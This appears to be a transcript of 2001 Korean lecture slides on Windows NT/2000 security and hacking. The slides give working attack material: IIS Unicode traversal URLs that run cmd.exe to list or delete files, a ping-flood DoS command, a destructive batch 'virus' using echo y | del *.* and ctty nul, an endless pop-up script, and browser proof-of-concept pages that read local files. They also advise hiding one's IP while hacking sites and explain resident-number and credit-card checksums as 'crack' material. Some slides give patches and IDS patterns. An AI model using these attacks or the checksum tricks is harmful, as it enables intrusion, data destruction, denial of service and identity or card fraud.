MS Windows NT/2000서버의 보안 및 해킹

Download Report

Transcript MS Windows NT/2000서버의 보안 및 해킹

MS Windows NT/2000
서버의 보안 및 해킹
비트 컴퓨터 학원(http://www.bitcom.co.kr)
정 헌([email protected])
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
목차
보안(Security)
해킹(Hacking)
해커가 되려면…
Hacking의 방법
실전 Hacking과 보안
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
보안(Security)
정의
- 다른 사람의 컴퓨터에 침입해서 악의적인 목적으로
데이터를 훼손하거나 훔쳐가는 것을 방지
종류
- 네트워크 보안
- 정적 정보보안
- 동적 정보보안
- 시스템 보안
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
보안(Security)
보안문제의 발생원인
- 잠재적인 공격대상이 존재하기 때문.
- 동적 데이터에 대한 공격 : 패스워드 도용
- 정적 데이터에 대한 공격 : 버그, 바이러스
- 물리적인 위협 : 조작상의 위협, 보조매체에 대한 위협
- LAN의 위험성 : 공유문제, .bak파일 문제
보안 설정
- 컴퓨터 사용자 제한
- 접근 권한 설정
- 방화벽 설정
- 암호화
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
해킹(Hacking)
 OverView
Attack/Gain shell Access
필요 없는 서비스 중단
Hacker
Target
Root Privilege
Deleting log files
Bug patch
Tracing hacker
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
해킹(Hacking)
목적
- Intrusion : 거점확보, 백도어 설치
- Information theft : 중요 데이터 유출, 데이터 변조
- Denial Of Service : 네트웍 단절, 폭탄 메일
분류
- Local Attack :
계정을 갖고 시스템 내부의 자원이나 권한을 이용해 정보 유출, 권한 도용
- Remote Attack :
각종 서비스의 취약점을 이용해 주요 데이터 열람, 일반 계정 획득
- Denial Of Service :
네트웍 단절, 폭탄 메일
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
해킹(Hacking)
 Windows 시스템의 해킹 유형
Local Attack

Brute Force
Password guessing
Terminal hijacking

Information Gathering/Brute Force


Denial of Service
Trojan/Backdoor
BO, BO2k
NetBus
Information Gathering
File/folder search
Registry
Permission
Trojan/backdoor 설치

Remote Attack

Real Attack
IIS
3rd party app. buffer overflow
MS SQL

Shared Violence
Samba TNG utility
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
해커가 되려면…
호기심을 가지라.
많이 읽어라.
많은 실습을 하라.
백업을 한다.
자신에게 한계를 두지 마라.
진짜 툴을 얻으라.
프로그래밍을 배우라.
진짜 운영체제를 사용하라.
인터넷을 사용하는 법을 배우라.
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
Hacking의 방법
정보 수집 – 풋 프린팅, 스캐닝, 보안 권고문
취약점 및 목록화 수집
공격용 소스 수집
용어
풋 프린팅 – 해킹을 시도할 대상에 관한 정보 수집 작업
- 도메인 이름, 시스템 구조, 접속 가능한 IP주소,프로토콜
스캐닝 – 어떤 시스템이 활성화된 시스템이고, 또 어떤 시스템이 Ping
Sweeps 이나 Port Scan, 혹은 다른 발견 툴을 이용하여 인터넷으로부
터 도달할 수 있는지 확인
목록화 – 유효한 계정이나 공유된 자원의 이름을 시스템에서 추출
해 나가는 작업
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
MS Windows 95,98,ME 공유폴더 암호 크랙 취약점
파일, 폴더를 공유한 윈도우 시스템의 공유 패스워스 확인 절차과정에서 "확인
password 길이"는 원래 8 bytes이지만, NetBIOS구현상의 문제점 때문에, remote상
의 공격자가 공유 패스워드 확인에 필요한 패킷을 보내면서 확인 password 길이"를 8
bytes보다 적은 길이(1 bytes까지도 가능)로 간단히 세팅 할 수 가 있다.
password 길이를 1 byte로 세팅하고 먼저 패스워드의 첫번째 문자를 쉽게 guessing
하게 되고, 계속해서 password길이를 1 bytes씩 늘리면서 비밀번호 한자리씩 보냈을
때 돌아오는 응답 패킷을 보고 아주 쉽게 패스워드를 guessing 할 수 있게 된다. 하
나하나 문자를 보내면서 틀린지 맞는지 확인할 수 있다.
현재 이 기법을 사용하여 공유 암호를 크랙할 수 있는 “pqwak”이라는 툴이 공개되어
있으며, 이 툴을 이용하여 공유 암호를 알아내는 걸리는 시간은 불과 1분 안팎이다
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
1. MS 윈도우 9x에서 제공하는 파일,프린터 공유 기능을 꼭 필요한 경우가 아니면
사용하지 않는다.
2. 공유기능을 부득이 사용해야 할 경우에는 다음을 패치하면 이 권고문에서 지적한
취약점은 제거된다.
윈도우 ME:
Microsoft patch 273991USAM
http://download.microsoft.com/download/winme/Update/11958/WinMe/ENUS/273991USAM.EXE
윈도우 98se:
Microsoft patch 273991USA8
http://download.microsoft.com/download/win98SE/Update/11958/W98/ENUS/273991USA8.EXE
윈도우 98:
Microsoft patch 273991USA8
http://download.microsoft.com/download/win98SE/Update/11958/W98/ENUS/273991USA8.EXE
윈도우 95:
윈도우 95는 공유폴더 취약점 패치가 없다.
윈도우 95를 사용할 때에는 공유폴더를 더이상 만들지 않는 방법밖에는 없다
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
확장 UNICODE character를 이용한 MicroSoft IIS 4.0/5.0 웹서버 내부 명령어 실행
Windows NT 및 2000에서 IIS 4.0 혹은 5.0으로 홈페이지를 운영하는 경우에
만일 "/"나 "\" 대신에 이에 대응되는 "확장 UNICODE character"를 사용할 경
우 서버내에서 "../" 디렉토리와 관련된 어떤 명령어를 실행시킬 수 있는 버그가
존재한다.
예를 들면 웹서버에서 dir 명령을 실행시킴으로써 하드 디스크 내의 파일을 볼
수있다.
http://hostname/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+"c:\" 과
같은 URL을 웹브라우저에 쳐넣으면 c:\ 안에서 dir을 입력한 결과를 웹브라우
저를 통해 볼 수 있다.
예를 들면 del 명령어를 실행시킴으로써 파일을 삭제할 수도 있다
http://localhost/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+"g:\FTP\
upload\Card.zip" 과 같은 명령을 웹 브라우저의 URL에 쳐 넣는다면
g:\FTP\upload\Card.zip 파일이 지워지게 된다.
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
확장 UNICODE character를 이용한 MicroSoft IIS 4.0/5.0 웹서버 내부 명령어 실행
1. 각 IIS 웹서버에 다음의 패치를 적용해야 한다. IIS 4.0
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862/default.as
p IIS 5.0
http://www.microsoft.com/windows2000/downloads/critical/q269862/default.
asp 2. 80번 target port로 접근해 오는 %c1%1c, %c0%af, %c1%9c 패턴을 탐
지해낼수 있도록 각 침입탐지시스템의 룰셋을 세팅하는 것도 고려해야 한다.
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
ping를 이용한 DoS공격
도스 창에서 ping 하면 메뉴얼이 나옵니다.
만약 ping 해서 상대방에게 계속 많은 양의 데이타를 보내면 결국 다운됩니다.
필요한 옵션은
-l size
ex) ping -l 65500 이러면 65500byte를 보냅니다.
참고로 사이즈 범위는 1-65500입니다.
-n count
ex) ping -n 10000 이러면 10000번 반복하는 겁니다.
-a 호스트이름
ex) ping -a XXX.XXX.XXX.XXX
이걸 전부 조합하면
ping -n 10000 -l 65500 -a XXX.XXX.XXX.X XX
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
자바스크립트를 이용한 사용자 속이기 해킹방법
 창이..연속적으로 계속 계속 나오게 하려면
<script>
for(i=1;i>0;i++){
window.open("");
}
</script>
 다른 곳으로 보내 고자 할때
<script>
{
window.open("보내고자하는주소입력");
}
</script>
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
나의 IP 주소 숨기기
인터넷을 여행하다 보면 방명록을 비롯하여 곳곳에 자신의 IP어드레스를 남기게 된다. 이렇
게 IP어드레스를 공개적으로 남기는 행위는 자신의 주소나 전화번호를 공개적으로 알려 주
는 것과 비슷하며 이에 수반되는 피해 사항도 있을수 있다. 또한 어떤 사이트를 해킹하기 위
해서 접속했는데 메인화면에 '당신은 XXX.XXX.XXX.XXX에서 접속했습니다'와 같이 자신
의 IP어드레스를 보여주는 경우도 있어서 IP어드레스를 없애거나 속이는 방법을 알려드리
겠습니다.
먼저 웹 서핑 중 자신의 IP주소를 숨기는 방법이다.
먼저 익스플로러 브라우저에서,
Tools-->Internet Options-->Connections 을 클릭 한후 Settings 버튼을 클릭한다. 그러
면 창이 하나 뜨게 되는데 Use a proxy server 라는 글자 바로 옆에 있는 체크박스에 V자로
체크를 한 후 Advanced(적용) 버튼을 클릭 한다. HTTP란에 프록시 서버와 Port 번호를 기
입한다.
예) HTTP Proxy address to use - proxy.coqui.net/ Port - 8080
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
배치화일을 이용한 간단한 해킹 프로그램 만들기
• 배치 바이러스(트로이 목마)
- 바이러스를 만들기는 여러 가지가 있지만 그 중에서 특별한 언어가 없이도 만들 수 있는
배치파일이 가장 단순하고 쉽습니다. 몇 가지 간단한 예제를 살펴보도록 하겠습니다.
1. 컴퓨터 멈춤
ctty nul
-> ctty라는 명령은 원래 pc의 통신포터에 달려있는 장치를 사용하는 명령입니다. 그러나
이 명령을 장치명 대신에 nul(아무것도 없다는 것을 뜻하는 컴퓨터 변수명)로 입력하면 아
무것도 없는 것을 사용하므로 원래의 입출력장치를 사용할 수 없게 됩니다. 반대로는
con(console:입출력장치를 의미)을 사용하며 됩니다. 이 경우 원래의 주변기기들을 사용
하게 되어 컴퓨터가 다시 작동됩니다.
2. 결과 출력 하지 않기
명령 > nul
-> " > "라는 기호는 명령을 다음에 나오는 장치로 보내라는 것을 의미합니다. 이 명령에
서는 명령을 nul로 보내므로 결과가 원래 주변기기에는 나오지 않겠됩니다.
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
배치화일을 이용한 간단한 해킹 프로그램 만들기
3. y/n을 묻지 않게 하기
echo y | 명령
--> " | " 라는 기호는 엔터를 친것처럼 하라는 환경변수입니다. 그러니까 echo명령으로 y
를 출력하고 " | " 기호로 엔터를 친것처럼 되니까, 명령에서 자동으로 y가 입력된것이 됩
니다.
예를 들어 C드라이브의 모든 파일을 지우고 스스로 자폭한후, 화면에 메시지를 출력하고,
컴퓨터를 다운시키는 작업을 한다면
echo y | del *.* > nul
del *.bat > nul
echo 이 컴퓨터의 자료는 다 지워졌습니다.
ctty nul
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
Windows Media Player 7 and IE vulnerability - executing arbitrary programs
Description:
There is a security vulnerability in Windows Media Player 7 exploitable thru IE
which allows reading local files which in turn allows executing arbitratrary
programs.
This may lead to taking full control over user's computer.
Details:
The problem is the WMP ActiveX Control which allows launching javascript URLs
in arbitrary already open frames. This allows taking over the frames's DOM.
Examine the code for more info.
* DOM(Document Object Model) : XML문서를 다루는 소프트웨어 개발에 대한 표준제안
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
Windows Media Player 7 and IE vulnerability - executing arbitrary programs
The code is
--------wmp7ie.html-----------------------------------------------<object id="o1"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6">
<PARAM NAME="defaultFrame" value="georgi">
</object>
<SCRIPT>
alert("This page reads C:\\test.txt");
window.open("file://c:/test.txt","georgi");
function f()
{
document.o1.object.launchURL("javascript:alert(document.body.innerText)");
}
setTimeout("f()",1000);
</SCRIPT>
---------------------------------------------------------------------
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
IE 5.5/Outlook Express security vulnerability - GetObject() exposes user's files
Systems affected:
IE 5.5, Outlook Express,(probably Outlook) - Win98/2000.
Description:
Internet Explorer 5.5/Outlook Express/(probably Outlook if Active Scripting is
enabled) under Windows 98/2000 (suppose all other versions are also vulnerable)
allow reading local and UNC files.
Details:
The problem is the GetObject() JScript function and the "htmlfile" ActiveX object.
A call a=GetObject("c:\\test.txt","htmlfile") creates a HTML document object with
full
access to its DOM.
* DOM(Document Object Model) : XML문서를 다루는 소프트웨어 개발에 대한 표준제안
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
IE 5.5/Outlook Express security vulnerability - GetObject() exposes user's files
Workaround:
Disable Active Scripting
The code is:
-----------------------------------------------------------------------------<SCRIPT>
alert("This script reads C:\\TEST.TXT\nYou may need to create it");
a=GetObject("c:\\test.txt","htmlfile");
setTimeout("alert(a.body.innerText);",2000);
</SCRIPT>
------------------------------------------------------------------------------
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
크랙 - 주민등록번호 형식
주민등록번호는 총 13자리이며, 일정한 규칙을 가지고 있다.
예를 들어 주민번호 5 1 0 6 0 3 - 1 0 0 1 3 2 2는 하이폰을 기준으로 앞에는 6자리 다음은
7자리입니다 여기서 뒤의 7자리중 제일 끝에 있는 수가 중요한 수 입니다 Check Dight
수라고 합니다.
이 앞의 12자리수는 Check Dight수와 어떤 규칙이 있습니다
우선 배열 2 3 4 5 6 7 8 9 2 3 4 5 의 12자리가 있습니다
여기에 주민등록번호 총13자리 중 제일 마지막 수를 빼고, 순서대도 대응되는 숫자끼리 곱
한 수를 전부 더한 후 11로 나누어 나머지를 구한 후 11에서 뺀 나머지의 1의 자리를
Check Dight 수라고 합니다
위의 예를 들어서
(1) 2*5 + 3*1 + 4*0 + 5*6 + 6*0 + 7*3 + 8*1 + 9*0 + 2*0 + 3*1 + 4*3 + 5*2 =97
(2) 97 / 11 = 8(목) ----- 9(나머지)
(3) 11 - 9(나머지) = 2
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
크랙 - 카드 번호 형식
대부분의 신용카드는 자기자신을 알려주는 일정한 숫자로 시작합니다.
예를 들어 모 은행의 신용카드는 4599-00으로 시작 합니다.
그러면 신용카드의 형식이 다음과 같다면,
XXXX-XXXX-XXXX-XXXX
각 자리수에 처음부터 2 와 1 을 번갈아가며 곱합니다.
그리고 제일 마지막 자리의 숫자가 Check Sum입니다.
이 Check Sum을 계산하기 위해 곱한 숫자의 합을 계산하며, 더한 값의 제일 마지막 숫자
를 10에서 뺀 값이 Check Sum이 됩니다.
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
실전 Hacking과 보안
크랙 - 카드 번호 형식
예) 4 5 9 9 - 0 0 0 4 - 1 3 4 5 - 1 3 5 X 라는 신용카드 번호가 있다면,
마지막 뒤는 Check Sum 입니다.
4*2=8
0*2=0
1*2=2
1*2=2
5*1=5
0*1=0
3*1=3
3*1=3
9 * 2 = 18 9 * 1 = 9
0*2=0 4*1=4
4*2=8 5*1=5
5 * 2 = 10
여기에 나온 숫자를 모두 더합니다.
만일 '9*2' 처럼 '18' 두자리가 나오면 이 숫자도 더합니다.
그러면 이 숫자를 더한 값은
8 + 5 + 1 + 8 + 9 + 0 + 0 + 0 + 4 + 2 + 3 + 8 + 5 + 2 + 3 + 1 + 0=59
그러면 마지막 '9'를 10 으로 뺀 숫자 가 '1' 인데 이것이 마지막 Check Sum 입니다.
2001년 8월 21일 비트컴퓨터 학원
정 헌 ([email protected])
MS Windows NT/2000서버의 보안 및 해킹
참고 사이트
보안과 해킹을 공부하시는 분들을 위한 참고 사이트 모음
국내 사이트
http://www.hackersnews.org/
http://www.certcc.or.kr
http://www.hackerland.ce.ro/
http://www.hackerslab.com/index.jsp
http://www.infosec.co.kr/
국외 사이트
http://packetstorm.securify.com
http://www.securityfocus.com/
http://www.ussrback.com/
http://www.guninski.com